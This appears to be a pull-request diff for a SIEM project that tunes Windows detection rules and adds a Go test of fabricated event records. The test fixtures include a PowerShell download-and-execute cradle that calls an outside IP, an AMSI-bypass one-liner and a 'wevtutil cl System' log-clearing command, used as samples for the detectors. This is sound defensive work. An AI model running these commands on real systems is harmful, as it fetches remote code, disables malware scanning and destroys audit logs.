Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 2 additions & 8 deletions filters/windows/windows-events.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Windows_Agent filter, version 3.2.2
# Windows_Agent filter, version 3.2.3
# Based on winlogbeat fields, reference [8.15]
# See https://www.elastic.co/guide/en/beats/winlogbeat/current/exported-fields-winlog.html

Expand Down Expand Up @@ -3378,17 +3378,11 @@ pipeline:
equals("log.eventDataServiceName", "krbtgt") &&
!equals("log.eventDataStatus", "0")
) ||
(
equals("log.eventCode", "4768") &&
equals("log.channel", "Security") &&
!oneOf("log.eventDataTicketEncryptionType", ["18", "17"]) &&
exists("target.user") &&
!regexMatch("target.user", "(?i)\\$$")
) ||
(
equals("log.eventCode", "4672") &&
equals("log.channel", "Security") &&
contains("log.eventDataPrivilegeList", "SeTcbPrivilege") &&
!oneOf("log.eventDataSubjectUserSid", ["S-1-5-18", "S-1-5-19", "S-1-5-20"]) &&
!regexMatch("log.eventDataSubjectUserName", "(?i)^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE)$") &&
!regexMatch("log.eventDataSubjectUserName", "(?i)\\$$")
)
Expand Down
160 changes: 160 additions & 0 deletions plugins/alerts/windows_alert_volume_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
package main

// Fabricated Windows agent records run through the offline Windows parser model
// (winParse) and the pinned SDK CEL. They pin the triggers and de-duplication
// keys that keep four Windows rules from flooding. The EventProcessor playground
// separately runs the real parser and alert plugins.
import (
"encoding/json"
"reflect"
"testing"

"github.com/threatwinds/go-sdk/plugins"
"github.com/tidwall/gjson"
)

func winVolumeRaw(t *testing.T, code int, provider, channel string, data map[string]any) string {
t.Helper()
b, err := json.Marshal(map[string]any{
"timestamp": "2026-09-29T10:00:00Z", "provider_name": provider, "channel": channel,
"computer": "dc01.example.test", "recordId": 4242, "eventCode": code, "data": data,
})
if err != nil {
t.Fatal(err)
}
return string(b)
}

func winVolumeSecurity(t *testing.T, code int, data map[string]any) string {
return winVolumeRaw(t, code, "Microsoft-Windows-Security-Auditing", "Security", data)
}

func winVolumePrivileged(t *testing.T, user, sid string) string {
return winVolumeSecurity(t, 4672, map[string]any{
"SubjectUserName": user, "SubjectDomainName": "EXAMPLE", "SubjectUserSid": sid, "SubjectLogonId": 999,
"PrivilegeList": "SeTcbPrivilege SeSecurityPrivilege SeBackupPrivilege",
})
}

func winVolumeTGT(t *testing.T, user string, encryption, status int) string {
return winVolumeSecurity(t, 4768, map[string]any{
"TargetUserName": user, "TargetDomainName": "EXAMPLE.TEST", "ServiceName": "krbtgt/EXAMPLE.TEST",
"TicketEncryptionType": encryption, "Status": status, "PreAuthType": "2",
"IpAddress": "::ffff:192.0.2.45", "IpPort": "50123",
})
}

func winVolumeProcess(t *testing.T, path, commandLine string) string {
return winVolumeSecurity(t, 4688, map[string]any{
"NewProcessName": path, "CommandLine": commandLine, "ParentProcessName": `C:\Windows\System32\services.exe`,
"SubjectUserName": "DC01$", "SubjectDomainName": "EXAMPLE", "SubjectUserSid": "S-1-5-18",
})
}

func winVolumeScript(t *testing.T, text string) string {
return winVolumeRaw(t, 4104, "Microsoft-Windows-PowerShell", "Microsoft-Windows-PowerShell/Operational", map[string]any{
"MessageNumber": "1", "MessageTotal": "1", "Path": "", "ScriptBlockId": "0b0c1d2e-0000-4000-8000-000000000001",
"ScriptBlockText": text,
})
}

func TestWindowsAlertVolume(t *testing.T) {
cfg, rules, cache := winConfig(t), winRules(t), plugins.NewCELCache("windows-alert-volume")
for _, tc := range []struct {
file string
dedup []string
positive, negative []string
}{
{"golden_ticket_detection", []string{"dataSource", "adversary.user"},
[]string{
winVolumePrivileged(t, "svc-backup", "S-1-5-21-1111111111-2222222222-3333333333-1105"),
winVolumeSecurity(t, 4769, map[string]any{"TargetUserName": "[email protected]", "TargetDomainName": "EXAMPLE.TEST",
"ServiceName": "krbtgt", "Status": 31, "TicketEncryptionType": 23, "IpAddress": "::ffff:192.0.2.44", "IpPort": "50124"}),
},
[]string{
// SYSTEM, LOCAL SERVICE and NETWORK SERVICE under translated names, by SID.
winVolumePrivileged(t, "SISTEMA", "S-1-5-18"),
winVolumePrivileged(t, "Système", "S-1-5-18"),
winVolumePrivileged(t, "SERVICIO LOCAL", "S-1-5-19"),
winVolumePrivileged(t, "SERVICIO DE RED", "S-1-5-20"),
winVolumePrivileged(t, "DC01$", "S-1-5-21-1111111111-2222222222-3333333333-1000"),
// TGT requests: an unknown principal (0x6, no ticket issued) and an RC4 ticket issued.
winVolumeTGT(t, "host", 0xFFFFFFFF, 0x6),
winVolumeTGT(t, "legacy-app", 0x17, 0),
}},
{"masquerading_detection", []string{"dataSource", "lastEvent.log.data.NewProcessName"},
[]string{
winVolumeProcess(t, `C:\Users\Public\svchost.exe`, ""),
winVolumeProcess(t, `C:\ProgramData\lsass.exe`, ""),
winVolumeProcess(t, `C:\Temp\explorer.exe`, ""),
},
[]string{
winVolumeProcess(t, `C:\WINDOWS\System32\svchost.exe`, ""),
winVolumeProcess(t, `C:\WINDOWS\explorer.exe`, ""),
winVolumeProcess(t, `C:\Windows\SysWOW64\explorer.exe`, ""),
winVolumeProcess(t, `C:\Windows\System32\csrss.exe`, ""),
winVolumeProcess(t, `C:\Program Files\WindowsApps\Microsoft.GamingServices_38.117.18001.0_x64__8wekyb3d8bbwe\gamingservices.exe`, ""),
}},
{"suspicious_powershell_obfuscation", []string{"dataSource"},
[]string{
winVolumeScript(t, "IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.5/a.ps1')"),
winVolumeScript(t, "$r = Invoke-WebRequest -Uri https://198.51.100.5/p -UseBasicParsing\nInvoke-Expression $r.Content"),
winVolumeScript(t, "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"),
},
[]string{
// A software installer script: iex only inside msiexec.
winVolumeScript(t, "enum ExitCode {\n ERR_MSIEXEC_NOT_FOUND = 49\n}\n$ProgressPreference = 'SilentlyContinue'\nInvoke-WebRequest @requestParams\nStart-Process msiexec.exe -ArgumentList '/i', $msi -Wait"),
// A management script that downloads and decodes data.
winVolumeScript(t, "function Invoke-WebRequestWithRootCaVerification { param($Uri) Invoke-WebRequest -Uri $Uri }\n$bytes = [Convert]::FromBase64String($certificate)"),
}},
{"audit_or_event_log_tampering", []string{"dataSource", "lastEvent.log.providerName"},
[]string{
winVolumeRaw(t, 104, "Microsoft-Windows-Eventlog", "System", map[string]any{
"SubjectUserName": "admin", "SubjectDomainName": "EXAMPLE", "Channel": "System", "BackupPath": ""}),
winVolumeProcess(t, `C:\Windows\System32\wevtutil.exe`, "wevtutil cl System"),
},
[]string{
winVolumeRaw(t, 104, "Directory Synchronization", "Application", map[string]any{}),
winVolumeRaw(t, 104, "WudfUsbccidDriver", "System", map[string]any{}),
winVolumeProcess(t, `C:\Windows\System32\wevtutil.exe`, "wevtutil qe System /c:5"),
}},
} {
t.Run(tc.file, func(t *testing.T) {
r := rules[tc.file]
if r == nil {
t.Fatalf("missing rule %s", tc.file)
}
if len(r.GroupBy) != 0 || !reflect.DeepEqual(r.DeduplicateBy, tc.dedup) {
t.Fatalf("grouping got groupBy %v deduplicateBy %v, want deduplicateBy %v", r.GroupBy, r.DeduplicateBy, tc.dedup)
}
for i, raw := range append(tc.positive, tc.negative...) {
want := i < len(tc.positive)
out := winParse(t, cfg, raw, "dc01", cache)
got, err := cache.Eval(r.Where, out)
if err != nil || got != want {
t.Fatalf("record %d: where got %v (%v), want %v for %s", i, got, err, want, out)
}
// The filter marks the same candidates the history search counts.
if tc.file == "golden_ticket_detection" {
if marker := gjson.Get(out, "log.authenticationCandidate.goldenTicketDetection").String() == "match"; marker != want {
t.Fatalf("record %d: goldenTicketDetection marker %v, predicate %v", i, marker, want)
}
}
if !want {
continue
}
// adversary: origin, so alert keys read the event's origin side and the last event.
for _, key := range tc.dedup {
path := map[string]string{"dataSource": "dataSource", "adversary.user": "origin.user",
"lastEvent.log.data.NewProcessName": "log.data.NewProcessName", "lastEvent.log.providerName": "log.providerName"}[key]
if v := gjson.Get(out, path); v.Type != gjson.String || v.String() == "" {
t.Fatalf("record %d: de-duplication key %s (%s) does not resolve to text in %s", i, key, path, out)
}
}
}
if tc.file == "golden_ticket_detection" && (len(r.Correlation) != 1 || r.Correlation[0].Count != 3 || r.Correlation[0].Within != "30m") {
t.Fatalf("golden ticket history changed: %+v", r.Correlation)
}
})
}
}
10 changes: 5 additions & 5 deletions rules/windows/audit_or_event_log_tampering.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Rule version v1.2.0 (validated 2026-06-24)
# Rule version v1.3.0
dataTypes:
- wineventlog
name: 'Windows: Audit Policy or Event Log Tampering'
Expand All @@ -9,11 +9,11 @@ impact:
category: Defense Evasion
technique: 'T1562.002 - Impair Defenses: Disable Windows Event Logging'
adversary: origin
description: Detects clearing of event logs (event 104) or command-line tampering with auditing/logging (auditpol /clear or /set ...disable, wevtutil cl, Clear-EventLog, fsutil usn deletejournal). Complements the Security-log-cleared (1102) rule.
description: Detects clearing of event logs (event 104) or command-line tampering with auditing/logging (auditpol /clear or /set ...disable, wevtutil cl, Clear-EventLog, fsutil usn deletejournal). Complements the Security-log-cleared (1102) rule. Event 104 counts only from the event log service (provider Microsoft-Windows-Eventlog), because other programs, such as Azure AD Connect (Directory Synchronization), use the same event number for unrelated messages. One alert is raised per computer and provider; repeats are suppressed for seven days.
references:
- https://attack.mitre.org/techniques/T1562/002/
where: |
(equals("log.eventCode", "104")) || (equals("log.eventCode", 4688) && regexMatch("log.data.CommandLine", "(?i)(auditpol.*/clear|auditpol.*/set.*(success|failure):disable|wevtutil.*(cl |clear-log)|Clear-EventLog|fsutil.*usn.*deletejournal|Remove-EventLog)"))
groupBy:
(equals("log.eventCode", "104") && equals("log.providerName", "Microsoft-Windows-Eventlog")) || (equals("log.eventCode", 4688) && regexMatch("log.data.CommandLine", "(?i)(auditpol.*/clear|auditpol.*/set.*(success|failure):disable|wevtutil.*(cl |clear-log)|Clear-EventLog|fsutil.*usn.*deletejournal|Remove-EventLog)"))
deduplicateBy:
- dataSource
deduplicateBy: []
- lastEvent.log.providerName
24 changes: 13 additions & 11 deletions rules/windows/golden_ticket_detection.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Rule version v1.0.1
# Rule version v1.1.0

dataTypes:
- wineventlog
Expand All @@ -20,6 +20,15 @@ description: |
TGS requests with unusual encryption types, tickets with abnormally long lifetimes, and Kerberos
authentication from non-domain-controller sources for the KRBTGT service.

It alerts on failed TGS requests for the krbtgt service (4769) and on special logons that
hold SeTcbPrivilege (4672) for accounts other than the built-in SYSTEM, LOCAL SERVICE and
NETWORK SERVICE identities, which are recognised by SID so that translated names such as
SISTEMA or Système are excluded too. TGT requests (4768) are not used: a forged TGT is never
requested from the KDC, a failed request issues no ticket, and RC4 tickets are routinely
issued to accounts that still hold only RC4 keys. Three matching events from one source
within 30 minutes are required, and one alert is raised per domain controller and account;
repeats are suppressed for seven days.

Next Steps:
1. Immediately verify if the KRBTGT account password has been compromised
2. Reset the KRBTGT password TWICE to invalidate all existing tickets
Expand All @@ -39,17 +48,11 @@ where: |
equals("log.eventDataServiceName", "krbtgt") &&
!equals("log.eventDataStatus", "0")
) ||
(
equals("log.eventCode", "4768") &&
equals("log.channel", "Security") &&
!oneOf("log.eventDataTicketEncryptionType", ["18", "17"]) &&
exists("target.user") &&
!regexMatch("target.user", "(?i)\\$$")
) ||
(
equals("log.eventCode", "4672") &&
equals("log.channel", "Security") &&
contains("log.eventDataPrivilegeList", "SeTcbPrivilege") &&
!oneOf("log.eventDataSubjectUserSid", ["S-1-5-18", "S-1-5-19", "S-1-5-20"]) &&
!regexMatch("log.eventDataSubjectUserName", "(?i)^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE)$") &&
!regexMatch("log.eventDataSubjectUserName", "(?i)\\$$")
)
Expand All @@ -71,7 +74,6 @@ afterEvents:
value: '{{.log.eventCode}}'
within: 30m
count: 3
groupBy:
deduplicateBy:
- dataSource
- lastEvent.log.authenticationSource
- target.user
- adversary.user
13 changes: 9 additions & 4 deletions rules/windows/masquerading_detection.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Rule version v1.0.0
# Rule version v1.1.0

dataTypes:
- wineventlog
Expand All @@ -20,6 +20,11 @@ description: |
and explorer.exe should only run from C:\Windows. Malware commonly uses legitimate process
names to avoid detection by analysts and automated tools.

Paths are compared without regard to letter case (C:\WINDOWS\System32 is the same folder as
C:\Windows\System32), the protected name must be the whole file name (gamingservices.exe is
not services.exe), and the 32-bit Explorer in C:\Windows\SysWOW64 is expected. One alert is
raised per computer and process path; repeats are suppressed for seven days.

Next Steps:
1. Identify the actual file path of the masquerading process
2. Compare the file hash against known good versions of the legitimate binary
Expand All @@ -29,7 +34,7 @@ description: |
6. Kill the suspicious process and quarantine the file
7. Search for other instances of the same file across the environment
where: |
(equals("log.eventCode","4688") || equals("log.eventCode","1")) && ((regexMatch("log.data.NewProcessName","svchost[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.(System32|SysWOW64).svchost[.]exe$")) || (regexMatch("log.data.NewProcessName","lsass[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.System32.lsass[.]exe$")) || (regexMatch("log.data.NewProcessName","services[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.System32.services[.]exe$")) || (regexMatch("log.data.NewProcessName","csrss[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.(System32|SysWOW64).csrss[.]exe$")) || (regexMatch("log.data.NewProcessName","explorer[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.explorer[.]exe$")))
groupBy:
(equals("log.eventCode","4688") || equals("log.eventCode","1")) && ((regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])svchost[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.(system32|syswow64).svchost[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])lsass[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.system32.lsass[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])services[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.system32.services[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])csrss[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.(system32|syswow64).csrss[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])explorer[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.(syswow64.)?explorer[.]exe$")))
deduplicateBy:
- dataSource
deduplicateBy: []
- lastEvent.log.data.NewProcessName
9 changes: 4 additions & 5 deletions rules/windows/suspicious_powershell_obfuscation.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Rule version v1.3.0 (validated 2026-07-01)
# Rule version v1.4.0
dataTypes:
- wineventlog
name: 'Windows: Suspicious PowerShell (Encoded / Download Cradle / AMSI Bypass)'
Expand All @@ -9,11 +9,10 @@ impact:
category: Execution
technique: 'T1059.001 - Command and Scripting Interpreter: PowerShell'
adversary: origin
description: 'Detects high-risk PowerShell script-block content: download cradles, encoded/hidden execution, reflective loading and AMSI bypass markers. Matches the 4104 script-block text (not the -EncodedCommand flag, to avoid benign false positives). v1.3.0: excludes the benign injected PSBreakpoint/AMSI "sentinel" instrumentation harness (markers: sentinelbreakpoints, \windows\sentinel\, Po_wer_Spl_oit_Indicators) that otherwise false-positives on the literal "AmsiInitFailed" token it emits on every PowerShell session. The exclusion is per-script-block, so a real payload executed through the harness is a separate 4104 event and still fires.'
description: 'Detects high-risk PowerShell script-block content: download cradles, encoded/hidden execution, reflective loading and AMSI bypass markers. Matches the 4104 script-block text (not the -EncodedCommand flag, to avoid benign false positives). v1.3.0: excludes the benign injected PSBreakpoint/AMSI "sentinel" instrumentation harness (markers: sentinelbreakpoints, \windows\sentinel\, Po_wer_Spl_oit_Indicators) that otherwise false-positives on the literal "AmsiInitFailed" token it emits on every PowerShell session. The exclusion is per-script-block, so a real payload executed through the harness is a separate 4104 event and still fires. v1.4.0: iex must be a whole word (as a substring it matched msiexec in routine software installer scripts), and FromBase64String no longer counts as execution next to a download (Microsoft''s own network scanner and Defender for Servers scripts download and decode data); IEX, Invoke-Expression, -enc, -EncodedCommand and hidden windows still do. One alert is raised per computer; repeats are suppressed for seven days.'
references:
- https://attack.mitre.org/techniques/T1059/001/
where: |
equals("log.eventCode", "4104") && !regexMatch("log.eventDataScriptBlockText", "(?i)(sentinelbreakpoints|windows.sentinel.[0-9]|po_wer_spl_oit_indicators)") && (regexMatch("log.eventDataScriptBlockText", "(?i)(amsiutils|amsiinitfailed|amsiscanbuffer|virtualalloc|writeprocessmemory|getdelegateforfunctionpointer|invoke-mimikatz|invoke-shellcode|invoke-dllinjection|createremotethread)") || (regexMatch("log.eventDataScriptBlockText", "(?i)(downloadstring|downloadfile|downloaddata|invoke-webrequest|net.webclient|start-bitstransfer)") && regexMatch("log.eventDataScriptBlockText", "(?i)(iex|invoke-expression|-enc |-encodedcommand|-w hidden|-windowstyle hidden|frombase64string)")))
groupBy:
equals("log.eventCode", "4104") && !regexMatch("log.eventDataScriptBlockText", "(?i)(sentinelbreakpoints|windows.sentinel.[0-9]|po_wer_spl_oit_indicators)") && (regexMatch("log.eventDataScriptBlockText", "(?i)(amsiutils|amsiinitfailed|amsiscanbuffer|virtualalloc|writeprocessmemory|getdelegateforfunctionpointer|invoke-mimikatz|invoke-shellcode|invoke-dllinjection|createremotethread)") || (regexMatch("log.eventDataScriptBlockText", "(?i)(downloadstring|downloadfile|downloaddata|invoke-webrequest|net.webclient|start-bitstransfer)") && regexMatch("log.eventDataScriptBlockText", "(?i)(\\biex\\b|invoke-expression|-enc |-encodedcommand|-w hidden|-windowstyle hidden)")))
deduplicateBy:
- dataSource
deduplicateBy: []
Loading